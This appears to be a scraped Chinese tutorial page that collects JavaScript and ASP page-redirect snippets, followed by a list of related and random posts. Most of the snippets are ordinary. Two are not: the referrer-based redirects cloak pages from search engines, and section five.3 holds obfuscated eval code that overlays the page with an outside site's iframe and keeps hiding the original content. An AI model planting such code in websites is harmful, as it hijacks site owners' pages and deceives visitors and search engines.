常用的JS页面跳转代码调用大全
一、常规的JS页面跳转代码
1、在原来的窗体中直接跳转用
<script type="text/javascript">
window.location.href="你所要跳转的页面";
</script>
2、在新窗体中打开页面用:
<script type="text/javascript">
window.open('你所要跳转的页面');
</script>
3、JS页面跳转参数的注解
<SCRIPT LANGUAGE="javascript">
<!--
window.open ('page.html', 'newwindow', 'height=100, width=400,
top=0,left=0, toolbar=no, menubar=no, scrollbars=no,
resizable=no,location=no, status=no')
//写成一行
-->
</SCRIPT>
参数解释:
<SCRIPT LANGUAGE="javascript"> js脚本开始;
window.open 弹出新窗口的命令;
'page.html' 弹出窗口的文件名;
'newwindow' 弹出窗口的名字(不是文件名),非必须,可用空'代替;
height=100 窗口高度;
width=500 窗口宽度;
top=0 窗口距离屏幕上方的象素值;
left=0 窗口距离屏幕左侧的象素值。
二、跳转指定页面的JS代码
第1种:
<script language="javascript" type="text/javascript">
window.location.href="login.jsp?backurl="+window.location.href;
</script>
第2种:
<script language="javascript">
alert("返回");
window.history.back(-1);
</script>
第3种:
<script language="javascript">
window.navigate("top.jsp");
</script>
第4种:
<script language="JavaScript">
self.location=’top.htm’;
</script>
第5种:
<script language="javascript">
alert("非法访问!");
top.location=’xx.jsp’;
</script>
三、页面停留指定时间再跳转(如3秒)
<script type="text/javascript">
function jumurl(){
window.location.href = 'http://www.mahaixiang.cn/';
}
setTimeout(jumurl,3000);
</script>
四、根据访客来源跳转的JS代码
1、JS判断来路代码
此段代码主要用于百度谷歌点击进入跳转,直接打开网站不跳转:
<script LANGUAGE="Javascript">
var s=document.referrer
if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 )
location.href="http://www.mahaixiang.cn/";
</script>
2、JS直接跳转代码
<script LANGUAGE="Javascript">
location.href="http://www.mahaixiang.cn/";
</script>
3、ASP跳转代码判断来路
<%
if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then
response.redirect("http://www.mahaixiang.cn/")
end if
%>
4、ASP直接跳转的
<%
response.redirect("http://www.mahaixiang.cn/")
%>
五、广告与网站页面一起的JS代码
1、上面是广告下面是站群的代码
document.writeln("<iframe scrolling='no' frameborder='0'
marginheight='0' marginwidth='0' width='100%' height='5000'
allowTransparency src=http://www.mahaixiang.cn/></iframe>");
2、全部覆盖的代码
document.write("</iframe><iframe
src='http://www.mahaixiang.cn/' rel='nofollow' scrolling='no'
frameborder='0' width='100%' height='2000'>");
3、混淆防止搜索引擎被查的js调用
具体的展示上面是广告下面是站群的代码:
var ss = '<center id="showcloneshengxiaon"><ifr'+'ame
scrolling="no" marginheight=0 marginwidth=0 frameborder="0" width="100%"
width="14'+'00" height="63'+'50"
src="ht'+'tp://'+'ww'+'w.hx'+'zhan'+'qun.c'+'om/"></iframe></center>';
eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");
try{
setInterval(function(){
try{
document.getElementById("div"+"All").style.display="no"+"ne";
}catch(e){}
for(var i=0;i<document.body.children.length;i++){
try{
var tagname = document.body.children[i].tagName;
var myid = document.body.children[i].id;
if(myid!="iconDiv1" && myid!="showcloneshengxiaon"){
// if(tagname!="center"){
document.body.children[i].style.display="non"+"e";
//}
}
}catch(e){}
}
},100);
}catch(e){}
六、页面跳出框架
<script type="text/javascript">
top.location.href='http://www.mahaixiang.cn/';
</script>
七、返回上一页
<script type="text/javascript">
window.history.back(-1);
</script>
常用的JS页面跳转代码调用大全的更多相关文章
- JS页面跳转代码怎么写?总结了5种方法
我们在建站时有些链接是固定的,比如客服咨询链接,一般是第三方url,如果直接加上去不太专业,那么就想着用站内的页面做跳转,跳转用js比较多,那么JS页面跳转代码怎么写呢?ytkah在网上搜索了一下,大 ...
- WordPress页面函数功能代码调用大全
WordPress模板基本文件 style.css 样式表文件index.php 主页文件single.php 日志单页文件page.php 页面文件archvie.php 分类和日期存档页文件sea ...
- JS页面跳转大全
所谓的js页面跳转就是利用javesrcipt对打开的页面ULR进行跳转,如我们打开的是A页面,通过javsrcipt脚本就会跳转到B页面.目前很多垃圾站经常用js跳转将正常页面跳转到广告页面,当然也 ...
- js页面跳转常用的几种方式(转)
js页面跳转常用的几种方式 转载 2010-11-25 作者: 我要评论 js实现页面跳转的几种方式,需要的朋友可以参考下. 第一种: 复制代码代码如下: <script langu ...
- js页面跳转参考代码大全
整理一下JS页面跳转参考代码 第一种: <script language=/"javascript/" type=/"text/javascript/&qu ...
- js页面跳转整理
js页面跳转整理 js方式的页面跳转1.window.location.href方式 <script language="javascript" type=" ...
- PHP页面跳转代码
这年头,真是好记性不如烂笔头,学的还没有忘的快,刚才用到的页面跳转,却又记不清楚了,故特意整理了一下,用做以后参考.从一个网页跳转到另一个网页,是LAMP项目中最常用的技术之一,页面跳转可能是由于用户 ...
- js页面跳转 和 js打开新窗口 方法
js页面跳转 和 js打开新窗口 方法 第一种: 第二种: 第三种: 第四种: 第五种: 1.在原来的窗体中直接跳转用 window.location.href="你所要跳转的页面" ...
- JS 页面跳转,参数的传递
当我们通过location.replace()进行页面的跳转时,我们想进行参数的传递,当时学习的时候,以前在网上找过获取方法,已经忘记出处在哪里了.获取方法大概是这样的: 1.将参数通过拼接的方式拼接 ...
随机推荐
- [ An Ac a Day ^_^ ] [kuangbin带你飞]专题四 最短路练习 POJ 3259 Wormholes
SPFA求负环 模板题 记得每组处理之前clear vector /* *********************************************** Author :Sun Yuef ...
- XueTr 0.45 (手工杀毒辅助工具) 绿色版
软件名称: XueTr 0.45 (手工杀毒辅助工具)软件语言: 简体中文授权方式: 免费软件运行环境: Win7 / Vista / Win2003 / WinXP 软件大小: 3.3MB图片预览: ...
- 37.看下图实现如下接口和类,并完成Adventure中的主方法。
//接口Swim package jieKou; public interface ICanswim { void Swim(); } //接口Fly package jieKou; public i ...
- 【实验室笔记】C#上位机学习笔记
用C#编写上位机,基本流程是[1]串口配置,[2]串口发送数据,[3]串口接收数据. [1]串口配置 串口的属性配置包括: No.1串口端口号 No.2串口波特率 No.3串口数据位 No.4串口停止 ...
- 多态性Polymorphism
一.多态性的概念: 1.多态:在面向对象方法中一般是这样表述多态性的: 向不同的对象发送同一个消息,不同的对象在接收时会产生不同的行为(即方法).也可以说,多态性是“一个接口,多种方法”. 2.从 ...
- Servlet、Filter、Listener、Interceptor基础
第一:Servlet Servlet是个接口,全限定名是javax.servlet.Servlet,在javax.servlet包中,在servlet-api.jar(在tomcat自带的lib文件夹 ...
- C语言_愤怒的小鸟
// ConsoleApplication4.cpp : 定义控制台应用程序的入口点. // #include "stdafx.h" #include<stdio.h> ...
- RF常用技巧随笔
合并xml输出文件: pybot --outputdir d:\test --log log1.html --report report1.html --output output1.xml -T d ...
- UVa 1395 (最小生成树)
题目链接:http://vjudge.net/problem/41567/origin 本来想着m^2的复杂度撑不住,对于这种擦着边的复杂度就好慌. 首先对所有的边排个序,然后枚举每个可以构成生成树的 ...
- nefu 1029 字符串
Description 给定一个字符串,现在要你从这个字符串中找到第一个只出现一次的字符 ,很简单吧! 快敲代码,动作! Input 多组输入,每行一个字符串(小写字母a~z)字符串长度不超过50 O ...